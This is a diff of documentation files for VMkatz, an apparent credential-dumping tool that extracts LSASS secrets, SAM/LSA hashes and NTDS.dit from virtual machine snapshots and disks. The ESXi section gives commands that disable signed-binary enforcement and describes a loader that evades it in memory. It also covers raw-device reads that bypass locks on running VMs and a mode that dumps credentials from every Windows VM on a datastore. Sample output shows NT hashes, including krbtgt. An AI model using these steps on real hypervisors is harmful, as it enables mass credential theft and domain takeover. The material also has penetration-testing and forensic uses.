| Proxmox 8 | Windows Server 2025 x64 | NTDS.dit (LVM block device) | PASS | 32KB pages, native ESE parsing |
|
||||
| Proxmox 8 | Windows 11 x64 | SAM / LSA (LVM block device) | PASS | Live VM |
|
||||
| Proxmox 8 | Windows Server 2025 x64 | LSASS (QEMU savevm) | PASS | Kerberos + DPAPI extracted |
|
||||
| Proxmox 8 | Windows 11 x64 | LSASS (QEMU savevm) | PASS | CloudAP + DPAPI extracted |
|
||||
| ESXi 6.7 | Windows 10 x64 | LSASS (`.vmsn` + `.vmem`) | PASS | 2 NT hashes + plaintext |
|
||||
| ESXi 6.7 | Windows Server 2016 x64 | LSASS (embedded `.vmsn`) | PASS | Memory embedded in `.vmsn` |
|
||||
| ESXi 6.7 | Windows Server 2016 x64 | SAM / LSA / DCC2 (embedded `.vmsn`) | PASS | |
|
||||
| ESXi 8.0 | Windows Server 2012 x64 | SAM / LSA / DCC2 (VMFS-6 raw) | PASS | Running VM, file locks bypassed |
|
||||
| ESXi 8.0 | Windows Server 2016 x64 | SAM / LSA / DCC2 (VMFS-6 raw) | PASS | Running VM |
|
||||
| ESXi 8.0 | Windows Server 2019 x64 | SAM / LSA / DCC2 (VMFS-6 raw) | PASS | Running VM |
|
||||
| ESXi 8.0 | Windows 11 x64 | SAM (VMFS-6 raw) | PASS | Running VM |
|
||||
| Hyper-V | Windows Server 2012 R2 x64 | SAM / LSA / DCC2 (`.vhdx`) | PASS | |
|
||||
| Hyper-V | Windows Server 2003 R2 x64 | SAM / LSA (`.vhdx`) | PASS | |
|
||||
|
||||
### Known limitations
|
||||
- **VBS / Credential Guard**: VMs with Virtualization-Based Security enabled use nested Hyper-V page tables. The VMEM captured by ESXi is 99% zero pages because the actual kernel memory is behind Hyper-V's SLAT. An EPT walker is implemented but cannot yet recover credentials from these VMs. SAM extraction from the virtual disk still works.
|
||||
- **Kerberos**: Kerberos credentials are frequently paged out in VM snapshots. The provider reports `paged` but the data is legitimately absent from RAM. Pagefile resolution (`--disk`) can recover some entries.
|
||||
- **Hyper-V**: Modern `.vmrs` saved states (Hyper-V 2016+) are supported via a native parser reverse-engineered from `vmsavedstatedumpprovider.dll` — no Microsoft DLL needed. Legacy `.bin`/`.raw` dumps are also supported via identity-mapped reading. VHDX disk extraction tested on Windows Server 2003 R2 and 2012 R2.
|
||||
- **QEMU/Proxmox savevm**: RAM pages from dirty-tracking iterations are captured; non-dirty pages return zeros. MSV credentials are often `(paged)` but Kerberos keys and DPAPI master keys are typically available. MMIO gap remapping assumes q35+UEFI layout (`below_4g=0x80000000`).
|
||||
- **BitLocker**: BitLocker-encrypted partitions are detected and reported. Disk extraction (SAM/NTDS) requires the volume to be decrypted first.
|
||||
- **x86 (32-bit) guests**: Supported with PAE paging (default since Vista). Covers WinXP SP3 through Win10 x86. Pre-Vista (XP/2003) extracts MSV/DPAPI only; Vista+ x86 extracts all 9 SSP providers. Non-PAE 32-bit (rare, XP-only) is not supported.
|
||||
|
||||
## How It Works
|
||||
|
||||
1. **Layer**: Opens the VM snapshot format and exposes guest physical memory as a flat address space. Each hypervisor format (VMware regions, VBox page map, QEMU ELF segments, QEMU savevm page stream with MMIO gap remapping, Hyper-V identity map, Hyper-V VMRS key-value store with LZNT1 decompression) is abstracted behind a common `PhysicalMemory` trait.
|
||||
|
||||
2. **Process discovery**: Scans physical memory for EPROCESS structures using signature matching (`System\0` at ImageFileName offset) with auto-detection across 18 known offset tables (WinXP SP3 through Win11 24H2, x86 PAE + x64).
|
||||
|
||||
3. **Page table walking**: Translates virtual addresses to physical using the kernel DTB (CR3). Supports 4-level x64 page tables and 3-level PAE (pre-Vista x86). TLB cache (256-entry direct-mapped), large pages (2MB/1GB), PCID bits, and pagefile fault resolution.
|
||||
|
||||
4. **LSASS extraction**: Locates `lsass.exe`, maps its virtual address space, finds DLLs (`lsasrv.dll`, `msv1_0.dll`, `wdigest.dll`, `kerberos.dll`, `dpapisrv.dll`, etc.) via PEB/LDR enumeration, resolves crypto keys via pattern matching on `.text`/`.data` sections, and decrypts credentials in-memory using 3DES-CBC, AES-CBC, AES-CFB, DES-X-CBC, or RC4 (auto-detected by buffer alignment and OS version). Also works on LSASS minidumps (`.dmp`).
|
||||
|
||||
5. **Disk extraction**: Parses the virtual disk container (sparse VMDK, VDI, QCOW2, VHDX, VHD, LVM block devices), finds the Windows partition (MBR/GPT), detects BitLocker-encrypted volumes (`-FVE-FS-` signature), walks NTFS MFT to locate `SAM`, `SYSTEM`, `SECURITY` hives, and decrypts hashes using the boot key. Supports both modern (AES, Vista+) and legacy (DES-ECB/RC4, XP/2003) LSA secret encryption. On ESXi, a native VMFS-6 parser reads flat VMDKs directly from raw SCSI devices, bypassing filesystem locks on running VMs.
|
||||
|
||||
6. **NTDS extraction**: For domain controllers (`--ntds`), locates `NTDS.dit` and the `SYSTEM` hive on disk, then parses the ESE (JET Blue) database natively. Traverses B+ trees to read the `datatable`, extracts the PEK (Password Encryption Key) using the bootkey, and decrypts NT/LM hashes for every AD account. Supports both 8KB pages (Windows Server 2019 and earlier) and 32KB large pages (Windows Server 2025), as well as RC4 (legacy), AES pre-Win2016, and AES Win2016+ (v0x13) hash blob formats.
|
||||
- [ESXi deployment, VIB bypass, VMFS raw access](docs/esxi.md)
|
||||
- [Example output](docs/examples.md)
|
||||
- [Architecture and module layout](docs/architecture.md)
|
||||
- [Tested targets and known limitations](docs/tested-targets.md)
|
||||
|
||||
## Acknowledgements
|
||||
|
||||
@@ -519,6 +170,6 @@ Tested across 7 Windows versions and 5 hypervisors/platforms.
|
||||
- [**pypykatz**](https://github.com/skelsec/pypykatz) by Tamás Jós ([@skelsec](https://twitter.com/skelsec)) -- pure Python mimikatz reimplementation, used as cross-reference for SAM/LSA/DCC2 extraction.
|
||||
- [**Impacket**](https://github.com/fortra/impacket) by Fortra (originally Alberto Solino [@agsolino](https://twitter.com/agsolino)) -- reference implementation for NTDS.dit extraction and the pwdump output format.
|
||||
- [**Vergilius Project**](https://www.vergiliusproject.com/) -- documented Windows kernel structures used to verify EPROCESS field offsets across all supported builds (XP through Win11 24H2).
|
||||
- [**dissect.vmfs**](https://github.com/fox-it/dissect.vmfs) by Fox-IT (NCC Group) -- Python VMFS parser from the Dissect DFIR framework, used as reference for VMFS-6 on-disk structures (LVM, superblock, resource files, file descriptors).
|
||||
- [**dissect.vmfs**](https://github.com/fox-it/dissect.vmfs) by Fox-IT (NCC Group) -- Python VMFS parser from the Dissect DFIR framework, used as reference for VMFS on-disk structures.
|
||||
- [**vmfs-tools**](https://github.com/glandium/vmfs-tools) by Mike Hommey -- open-source VMFS3/5 implementation that documents core on-disk structures and address types.
|
||||
- [**volatility-kerberos**](https://github.com/airbus-cert/volatility-kerberos) by Sylvain Peyrefitte ([@citronneur](https://twitter.com/citronneur), Airbus CERT) -- Volatility 3 plugin for Kerberos ticket extraction, inspired the ticket carving approach for recovering orphaned tickets from freed LSASS memory.
|
||||
- [**volatility-kerberos**](https://github.com/airbus-cert/volatility-kerberos) by Sylvain Peyrefitte ([@citronneur](https://twitter.com/citronneur), Airbus CERT) -- Volatility 3 Kerberos plugin, inspired the ticket carving approach for recovering orphaned tickets from freed LSASS memory.
|
||||
|
||||
@@ -0,0 +1,87 @@
|
||||
# Architecture
|
||||
|
||||
## How It Works
|
||||
|
||||
1. **Layer**: Opens the VM snapshot format and exposes guest physical memory as a flat address space. Each hypervisor format (VMware regions, VBox page map, QEMU ELF segments, QEMU savevm page stream with MMIO gap remapping, Hyper-V identity map, Hyper-V VMRS key-value store with LZNT1 decompression) is abstracted behind a common `PhysicalMemory` trait.
|
||||
|
||||
2. **Process discovery**: Scans physical memory for EPROCESS structures using signature matching (`System\0` at ImageFileName offset) with auto-detection across 18 known offset tables (WinXP SP3 through Win11 24H2, x86 PAE + x64).
|
||||
|
||||
3. **Page table walking**: Translates virtual addresses to physical using the kernel DTB (CR3). Supports 4-level x64 page tables and 3-level PAE (pre-Vista x86). TLB cache (256-entry direct-mapped), large pages (2MB/1GB), PCID bits, and pagefile fault resolution.
|
||||
|
||||
4. **LSASS extraction**: Locates `lsass.exe`, maps its virtual address space, finds DLLs (`lsasrv.dll`, `msv1_0.dll`, `wdigest.dll`, `kerberos.dll`, `dpapisrv.dll`, etc.) via PEB/LDR enumeration, resolves crypto keys via pattern matching on `.text`/`.data` sections, and decrypts credentials in-memory using 3DES-CBC, AES-CBC, AES-CFB, DES-X-CBC, or RC4 (auto-detected by buffer alignment and OS version). Also works on LSASS minidumps (`.dmp`).
|
||||
|
||||
5. **Disk extraction**: Parses the virtual disk container (sparse VMDK, VDI, QCOW2, VHDX, VHD, LVM block devices), finds the Windows partition (MBR/GPT), detects BitLocker-encrypted volumes (`-FVE-FS-` signature), walks NTFS MFT to locate `SAM`, `SYSTEM`, `SECURITY` hives, and decrypts hashes using the boot key. Supports both modern (AES, Vista+) and legacy (DES-ECB/RC4, XP/2003) LSA secret encryption. On ESXi, a native VMFS-5/6 parser reads flat VMDKs directly from raw SCSI devices, bypassing filesystem locks on running VMs.
|
||||
|
||||
6. **NTDS extraction**: For domain controllers (`--ntds`), locates `NTDS.dit` and the `SYSTEM` hive on disk, then parses the ESE (JET Blue) database natively. Traverses B+ trees to read the `datatable`, extracts the PEK (Password Encryption Key) using the bootkey, and decrypts NT/LM hashes for every AD account. Supports both 8KB pages (Windows Server 2019 and earlier) and 32KB large pages (Windows Server 2025), as well as RC4 (legacy), AES pre-Win2016, and AES Win2016+ (v0x13) hash blob formats.
|
||||
|
||||
## Module Layout
|
||||
|
||||
```
|
||||
src/
|
||||
├── main.rs CLI dispatch, format detection, output formatting
|
||||
├── lib.rs Crate root — feature-gated module declarations
|
||||
├── error.rs VmkatzError type
|
||||
├── utils.rs Endian helpers, hex, UTF-16LE decode, mmap helpers
|
||||
├── memory/
|
||||
│ └── reader.rs PhysicalMemory and VirtualMemory traits
|
||||
├── pe/ PE header parser (exports, sections, data directories)
|
||||
├── minidump.rs MDMP parser — VirtualMemory trait over minidump regions
|
||||
├── discover.rs Directory/recursive auto-discovery of VM files
|
||||
├── paging/
|
||||
│ ├── mod.rs 4-level x64 page table walker (CR3 → PTE)
|
||||
│ ├── translate.rs Address translation core
|
||||
│ ├── entry.rs Page table entry decoding
|
||||
│ ├── ept.rs Extended Page Table scanner (VBS/nested Hyper-V)
|
||||
│ ├── filebacked.rs DLL section mapping from disk
|
||||
│ └── pagefile.rs Pagefile.sys fault resolution from disk
|
||||
├── windows/
|
||||
│ ├── process.rs EPROCESS discovery (System process, process enumeration)
|
||||
│ └── offsets.rs EPROCESS offset tables (WinXP SP3 → Win11 24H2, x64 + x86 PAE)
|
||||
├── lsass/
|
||||
│ ├── finder.rs Main extraction orchestrator (PhysicalMemory + minidump paths)
|
||||
│ ├── crypto.rs LSASS decryption (AES-CBC, 3DES-CBC, DES-X-CBC, RC4)
|
||||
│ ├── patterns.rs Signature patterns for crypto key discovery in DLL sections
|
||||
│ ├── types.rs Credential, LogonSession, DpapiCredential structs
|
||||
│ ├── msv.rs MSV1_0 provider (NT/LM/SHA1 hashes)
|
||||
│ ├── wdigest.rs WDigest provider (plaintext passwords)
|
||||
│ ├── kerberos.rs Kerberos provider (tickets, passwords, ticket carving)
|
||||
│ ├── tspkg.rs TsPkg provider (RDP plaintext)
|
||||
│ ├── dpapi.rs DPAPI provider (master key cache)
|
||||
│ ├── ssp.rs SSP provider (plaintext credentials)
|
||||
│ ├── livessp.rs LiveSSP provider (plaintext, rare post-Win8)
|
||||
│ ├── credman.rs Credential Manager (stored credentials)
|
||||
│ ├── cloudap.rs CloudAP provider (Azure AD tokens)
|
||||
│ ├── bitlocker.rs BitLocker FVEK extraction from memory (pool tag scan)
|
||||
│ └── carve.rs [feature: carve] Degraded extraction for partial memory
|
||||
├── dump.rs [feature: dump] Process memory → minidump writer
|
||||
├── vmware/ [feature: vmware] VMware .vmsn/.vmem/.vmss layer
|
||||
├── vbox/ [feature: vbox] VirtualBox .sav layer
|
||||
├── qemu/ [feature: qemu] QEMU ELF core dump + Proxmox savevm layer
|
||||
├── hyperv/ [feature: hyperv] Hyper-V .vmrs/.bin/.raw layer (native VMRS parser)
|
||||
├── sam/ [feature: sam] SAM/LSA/DCC2 + DPAPI + disk format handlers
|
||||
│ ├── mod.rs Orchestration, disk extraction entry point
|
||||
│ ├── hive.rs Windows registry hive parser (regf format)
|
||||
│ ├── bootkey.rs Bootkey extraction from SYSTEM hive
|
||||
│ ├── hashes.rs SAM hash decryption (AES-CBC, RC4, MD5, DES)
|
||||
│ ├── lsa.rs LSA secrets decryption (DPAPI system keys, service passwords)
|
||||
│ ├── cache.rs Cached domain credentials (DCC2)
|
||||
│ ├── dpapi_masterkey.rs DPAPI master key file parser (hashcat 15300/15900)
|
||||
│ ├── aes_xts.rs AES-XTS sector decryption (for BitLocker)
|
||||
│ ├── bitlocker_decrypt.rs BitLocker transparent decrypting Read+Seek wrapper
|
||||
│ ├── partition.rs MBR/GPT partition table parser
|
||||
│ ├── ntfs_reader.rs NTFS file reader (SAM/SYSTEM/SECURITY discovery)
|
||||
│ ├── ntfs_fallback.rs NTFS fallback parser (no external crate)
|
||||
│ ├── disk_fallbacks.rs Fallback hive search for non-standard layouts
|
||||
│ └── vmdk_scan.rs Sparse VMDK descriptor + extent parser
|
||||
├── disk/ Virtual disk format handlers
|
||||
│ ├── vmdk.rs VMware sparse/flat VMDK
|
||||
│ ├── vdi.rs VirtualBox VDI (+ differencing chain)
|
||||
│ ├── qcow2.rs QEMU QCOW2 (+ backing files)
|
||||
│ ├── vhd.rs Hyper-V VHD (legacy)
|
||||
│ ├── vhdx.rs Hyper-V VHDX
|
||||
│ ├── raw.rs Raw/block device passthrough
|
||||
│ └── vmfs.rs [feature: vmfs] VMFS-5/6 raw parser (LVM → SFD → FDC → FD → data)
|
||||
└── ntds/ [feature: ntds.dit] NTDS.dit ESE database parser
|
||||
├── mod.rs PEK decryption, hash extraction pipeline
|
||||
└── ese.rs JET Blue database primitives (pages, B+ trees, columns)
|
||||
```
|
||||
+107
@@ -0,0 +1,107 @@
|
||||
# Deployment on ESXi
|
||||
|
||||
VMkatz compiles to a static musl binary that runs directly on ESXi without dependencies:
|
||||
|
||||
```bash
|
||||
# Cross-compile for ESXi (musl static)
|
||||
cargo build --release --target x86_64-unknown-linux-musl
|
||||
|
||||
# Upload (~3 MB)
|
||||
scp target/x86_64-unknown-linux-musl/release/vmkatz root@esxi:/tmp/
|
||||
|
||||
# On ESXi 8.0+, allow non-VIB binaries (requires once)
|
||||
esxcli system settings advanced set -o /User/execInstalledOnly -i 0
|
||||
|
||||
# Extract from a live VM snapshot
|
||||
/tmp/vmkatz /vmfs/volumes/datastore1/MyVM/MyVM-Snapshot1.vmsn
|
||||
|
||||
# Extract SAM from a powered-off VM disk
|
||||
/tmp/vmkatz /vmfs/volumes/datastore1/MyVM/MyVM-flat.vmdk
|
||||
```
|
||||
|
||||
## Running with VIB protection enabled
|
||||
|
||||
When `execInstalledOnly` is set to 1 (default on ESXi 7.0+), unsigned binaries cannot be executed directly. The included Python loader (`vmkatz_loader.py`) bypasses this by loading vmkatz into anonymous memory pages — ESXi allows `PROT_EXEC` on anonymous mappings while blocking `execve` on unsigned files.
|
||||
|
||||
Python is VIB-signed on all ESXi versions and can execute normally.
|
||||
|
||||
```bash
|
||||
# Upload both files
|
||||
scp vmkatz_loader.py target/x86_64-unknown-linux-musl/release/vmkatz root@esxi:/tmp/
|
||||
|
||||
# Run through the loader (no need to disable execInstalledOnly)
|
||||
python3 /tmp/vmkatz_loader.py /tmp/vmkatz /vmfs/volumes/datastore1/MyVM/snapshot.vmsn
|
||||
|
||||
# Works on ESXi 6.5+ (Python 2.7), 6.7+ (Python 3.5), 8.0+ (Python 3.8)
|
||||
python /tmp/vmkatz_loader.py /tmp/vmkatz --vmfs-list
|
||||
```
|
||||
|
||||
The loader parses the ELF binary, maps segments into anonymous pages, applies relocations, and jumps to the entry point. No files are written to disk, no VIB signature check is triggered.
|
||||
|
||||
To check if VIB protection is active on your ESXi host:
|
||||
```bash
|
||||
esxcli system settings advanced list -o /User/execInstalledOnly
|
||||
```
|
||||
|
||||
## VMFS Raw Device Access
|
||||
|
||||
On ESXi, VMFS locks prevent reading flat VMDK files from running VMs via the mounted filesystem. VMkatz includes a self-contained VMFS-5/6 parser that reads directly from the raw SCSI device, bypassing file locks entirely — no `vmkfstools`, no `.sbc.sf` access, no unmounting.
|
||||
|
||||
### Discovery
|
||||
|
||||
VMkatz auto-discovers VMFS devices by scanning `/dev/disks/` for SCSI LUNs containing VMFS superblocks, then enumerates the VMFS directory tree to find all flat VMDKs and the VMs they belong to.
|
||||
|
||||
```bash
|
||||
# Discover all VMFS datastores, list their VMs, and print ready-to-run commands
|
||||
/tmp/vmkatz --vmfs-list
|
||||
```
|
||||
|
||||
Example output:
|
||||
```
|
||||
[+] VMFS-6 devices:
|
||||
/dev/disks/naa.60003ff44dc75adcb3d1cbcd6d5049dc — RAID0_local
|
||||
/dev/disks/naa.600508b4000adfe0d80b99cf3ce0c0c7 — NAS_datastore
|
||||
|
||||
[+] RAID0_local — 5 flat VMDKs:
|
||||
--vmfs-device /dev/disks/naa.60003ff44dc75adcb3d1cbcd6d5049dc --vmdk 'DC01/DC01-flat.vmdk'
|
||||
--vmfs-device /dev/disks/naa.60003ff44dc75adcb3d1cbcd6d5049dc --vmdk 'WEB01/WEB01-flat.vmdk'
|
||||
...
|
||||
```
|
||||
|
||||
The output is designed as copy-pasteable command-line arguments. Filter to a specific device with `--vmfs-device`:
|
||||
|
||||
```bash
|
||||
# List VMDKs on a specific device only
|
||||
/tmp/vmkatz --vmfs-list --vmfs-device /dev/disks/naa.60003ff44dc75adcb3d1cbcd6d5049dc
|
||||
```
|
||||
|
||||
### Extraction modes
|
||||
|
||||
```bash
|
||||
# Single VM — extract SAM/LSA/DCC2 from one flat VMDK
|
||||
/tmp/vmkatz --vmfs-device /dev/disks/naa.xxx --vmdk 'DC01/DC01-flat.vmdk'
|
||||
|
||||
# Single VM — extract NTDS.dit from a domain controller
|
||||
/tmp/vmkatz --vmfs-device /dev/disks/naa.xxx --vmdk 'DC01/DC01-flat.vmdk' --ntds
|
||||
|
||||
# All VMs — auto-scan the entire datastore
|
||||
/tmp/vmkatz --vmfs-device /dev/disks/naa.xxx
|
||||
```
|
||||
|
||||
In auto-scan mode (no `--vmdk`), VMkatz discovers every flat VMDK on the device, checks each for NTFS partitions (skipping Linux/BSD VMs), and extracts credentials from all Windows VMs in a single pass. Non-Windows VMs are silently skipped.
|
||||
|
||||
### How it works
|
||||
|
||||
The parser resolves the full VMFS on-disk layout without any mounted filesystem:
|
||||
|
||||
```
|
||||
/dev/disks/naa.xxx
|
||||
└─ LVM volume header (magic 0xC001D00D at offset 0x100000)
|
||||
└─ VMFS superblock (magic 0x2FABF15E at offset 0x200000)
|
||||
└─ SFD bootstrap → FDC resource (file descriptor cache)
|
||||
└─ Root directory (FD address 0x00000004)
|
||||
└─ VM directories → flat VMDK files
|
||||
└─ File data (sub-blocks, pointer blocks, large file blocks)
|
||||
```
|
||||
|
||||
Supports all VMFS-5/6 address types: small file blocks (SFB/FB), sub-blocks (SB), pointer blocks (PB/PB2), large file blocks (LFB), and double-indirect addressing. Reads are direct `pread(2)` calls on the raw device — no caching layer or filesystem driver needed.
|
||||
@@ -0,0 +1,66 @@
|
||||
# Example Output
|
||||
|
||||
## LSASS extraction (default text)
|
||||
```
|
||||
$ vmkatz snapshot.vmsn
|
||||
[*] Providers: MSV(ok) WDigest(ok) Kerberos(paged) TsPkg(empty) DPAPI(ok) SSP(empty) LiveSSP(n/a) Credman(empty) CloudAP(paged)
|
||||
|
||||
[+] 8 logon session(s), 3 with credentials:
|
||||
|
||||
LUID: 0x3e7 (SYSTEM)
|
||||
Username: YOURPC$
|
||||
Domain: WORKGROUP
|
||||
[DPAPI]
|
||||
GUID : 94e9f320-d4a0-4737-b34e-ab106f485c0e
|
||||
MasterKey : d0f110675ca73f39d1370bdfd...
|
||||
SHA1 MasterKey: ea72698de207dab9e01fd9ab63f322ae82b4a4bb
|
||||
|
||||
LUID: 0x240be
|
||||
Session: 2 | LogonType: Unknown
|
||||
Username: user
|
||||
Domain: YOURPC
|
||||
LogonServer: YOURPC
|
||||
SID: S-1-5-21-4247878743-2693906039-1959858616-1000
|
||||
[MSV1_0]
|
||||
NT Hash : bbf7d1528afa8b0fdd40a5b2531bbb6d
|
||||
SHA1 : 6ed12f1e60b17cfff120d753029314748b58aa05
|
||||
DPAPI : 6ed12f1e60b17cfff120d753029314748b58aa05
|
||||
```
|
||||
|
||||
## Hashcat mode
|
||||
```
|
||||
$ vmkatz --format hashcat snapshot.vmsn
|
||||
[*] Providers: MSV(ok) WDigest(ok) ...
|
||||
bbf7d1528afa8b0fdd40a5b2531bbb6d
|
||||
```
|
||||
|
||||
## NTDS.dit extraction
|
||||
```
|
||||
$ vmkatz --ntds dc-disk.qcow2
|
||||
|
||||
[+] NTDS Artifacts:
|
||||
Partition offset : 0x100000
|
||||
ntds.dit size : 20971520 bytes
|
||||
SYSTEM size : 14155776 bytes
|
||||
Bootkey : 9ae365ba5244457bfc2a26187a28346a
|
||||
Hashes extracted : 18
|
||||
|
||||
[+] AD NTLM Hashes:
|
||||
RID: 500 Administrator current NT:c66d72021a2d4744409969a581a1705e
|
||||
RID: 502 krbtgt current NT:9c238cafb7b4447e5f701c71dbdcf636
|
||||
RID: 1000 vagrant current NT:e02bc503339d51f71d913c245d35b50b
|
||||
...
|
||||
```
|
||||
|
||||
## Pagefile resolution
|
||||
```
|
||||
$ vmkatz --disk disk.vmdk snapshot.vmsn
|
||||
[+] Pagefile: 320.0 MB
|
||||
[*] Providers: MSV(ok) WDigest(ok) ...
|
||||
[+] File-backed: 12540 DLL pages resolved from disk
|
||||
[+] Pagefile: 2274 pages resolved from disk
|
||||
```
|
||||
|
||||
Memory snapshots only capture physical RAM. Credentials that were paged to disk at snapshot time appear as `(paged out)`. The `--disk` flag reads pagefile.sys from the VM's virtual disk to resolve these.
|
||||
|
||||
In **directory mode**, this happens automatically: VMkatz discovers both the snapshot and the disk image, and resolves paged memory without manual flags.
|
||||
@@ -0,0 +1,47 @@
|
||||
# Tested Targets
|
||||
|
||||
Tested across 7 Windows versions and 5 hypervisors/platforms.
|
||||
|
||||
| Hypervisor | Guest OS | Artifact | Result | Notes |
|
||||
| --- | --- | --- | --- | --- |
|
||||
| VMware Workstation | Windows 10 22H2 x64 | LSASS (`.vmsn`) | PASS | 3 snapshots |
|
||||
| VMware Workstation | Windows 10 22H2 x64 | LSASS + pagefile (`.vmsn` + `.vmdk`) | PASS | Resolves paged-out credentials |
|
||||
| VMware Workstation | Windows 10 22H2 x64 | SAM / LSA / DCC2 (`.vmdk`) | PASS | |
|
||||
| VMware Workstation | Windows 10 22H2 x64 | Folder mode | PASS | Auto-discovers `.vmsn` + `.vmdk` |
|
||||
| VirtualBox | Windows 10 22H2 x64 | LSASS (`.sav`) | PASS | |
|
||||
| VirtualBox | Windows 10 22H2 x64 | LSASS + pagefile (`.sav` + `.vdi`) | PASS | |
|
||||
| VirtualBox | Windows 10 22H2 x64 | SAM / LSA / DCC2 (`.vdi`) | PASS | |
|
||||
| ESXi 8.0 | Windows 7 SP1 x64 | LSASS (`.vmsn`) | PASS | |
|
||||
| ESXi 8.0 | Windows 10 22H2 x64 | LSASS (`.vmsn`) | PASS | 2 VMs |
|
||||
| ESXi 8.0 | Windows Server 2012 x64 | LSASS (`.vmsn`) | PASS | 2 VMs |
|
||||
| ESXi 8.0 | Windows Server 2016 x64 | LSASS (`.vmsn`) | PASS | 3 VMs |
|
||||
| ESXi 8.0 | Windows Server 2019 x64 | LSASS (`.vmsn`) | PASS | |
|
||||
| ESXi 8.0 | Windows 11 x64 | LSASS (`.vmsn`) | PASS | 2 VMs, no VBS |
|
||||
| ESXi 8.0 | Windows 11 x64 | SAM (flat `.vmdk`) | PASS | Powered-off VM |
|
||||
| ESXi 8.0 | Windows 11 x64 (VBS) | LSASS (`.vmsn`) | FAIL | Credential Guard / VBS |
|
||||
| Proxmox 8 | Windows Server 2016 x64 | SAM / LSA / DCC2 (LVM block device) | PASS | Live + stopped VMs |
|
||||
| Proxmox 8 | Windows Server 2019 x64 | SAM / LSA / DCC2 (LVM block device) | PASS | 3 VMs, incl. DCs |
|
||||
| Proxmox 8 | Windows Server 2019 x64 | NTDS.dit (LVM block device) | PASS | 3 DCs, 8KB pages |
|
||||
| Proxmox 8 | Windows Server 2025 x64 | SAM / LSA (LVM block device) | PASS | |
|
||||
| Proxmox 8 | Windows Server 2025 x64 | NTDS.dit (LVM block device) | PASS | 32KB pages, native ESE parsing |
|
||||
| Proxmox 8 | Windows 11 x64 | SAM / LSA (LVM block device) | PASS | Live VM |
|
||||
| Proxmox 8 | Windows Server 2025 x64 | LSASS (QEMU savevm) | PASS | Kerberos + DPAPI extracted |
|
||||
| Proxmox 8 | Windows 11 x64 | LSASS (QEMU savevm) | PASS | CloudAP + DPAPI extracted |
|
||||
| ESXi 6.7 | Windows 10 x64 | LSASS (`.vmsn` + `.vmem`) | PASS | 2 NT hashes + plaintext |
|
||||
| ESXi 6.7 | Windows Server 2016 x64 | LSASS (embedded `.vmsn`) | PASS | Memory embedded in `.vmsn` |
|
||||
| ESXi 6.7 | Windows Server 2016 x64 | SAM / LSA / DCC2 (embedded `.vmsn`) | PASS | |
|
||||
| ESXi 8.0 | Windows Server 2012 x64 | SAM / LSA / DCC2 (VMFS-6 raw) | PASS | Running VM, file locks bypassed |
|
||||
| ESXi 8.0 | Windows Server 2016 x64 | SAM / LSA / DCC2 (VMFS-6 raw) | PASS | Running VM |
|
||||
| ESXi 8.0 | Windows Server 2019 x64 | SAM / LSA / DCC2 (VMFS-6 raw) | PASS | Running VM |
|
||||
| ESXi 8.0 | Windows 11 x64 | SAM (VMFS-6 raw) | PASS | Running VM |
|
||||
| Hyper-V | Windows Server 2012 R2 x64 | SAM / LSA / DCC2 (`.vhdx`) | PASS | |
|
||||
| Hyper-V | Windows Server 2003 R2 x64 | SAM / LSA (`.vhdx`) | PASS | |
|
||||
|
||||
## Known limitations
|
||||
|
||||
- **VBS / Credential Guard**: VMs with Virtualization-Based Security enabled use nested Hyper-V page tables. The VMEM captured by ESXi is 99% zero pages because the actual kernel memory is behind Hyper-V's SLAT. An EPT walker is implemented but cannot yet recover credentials from these VMs. SAM extraction from the virtual disk still works.
|
||||
- **Kerberos**: Kerberos credentials are frequently paged out in VM snapshots. The provider reports `paged` but the data is legitimately absent from RAM. Pagefile resolution (`--disk`) can recover some entries. Ticket carving can find orphaned tickets from freed sessions.
|
||||
- **Hyper-V**: Modern `.vmrs` saved states (Hyper-V 2016+) are supported via a native parser reverse-engineered from `vmsavedstatedumpprovider.dll` — no Microsoft DLL needed. Legacy `.bin`/`.raw` dumps are also supported via identity-mapped reading. VHDX disk extraction tested on Windows Server 2003 R2 and 2012 R2.
|
||||
- **QEMU/Proxmox savevm**: RAM pages from dirty-tracking iterations are captured; non-dirty pages return zeros. MSV credentials are often `(paged)` but Kerberos keys and DPAPI master keys are typically available. MMIO gap remapping assumes q35+UEFI layout (`below_4g=0x80000000`).
|
||||
- **BitLocker**: BitLocker-encrypted partitions are detected. When a memory snapshot is available, vmkatz extracts the FVEK from memory and decrypts the volume transparently. Without a snapshot, use `--bitlocker-fvek` to provide a key file.
|
||||
- **x86 (32-bit) guests**: Supported with PAE paging (default since Vista). Covers WinXP SP3 through Win10 x86. Pre-Vista (XP/2003) extracts MSV/DPAPI only; Vista+ x86 extracts all 9 SSP providers. Non-PAE 32-bit (rare, XP-only) is not supported.
|
||||
Reference in New Issue
Block a user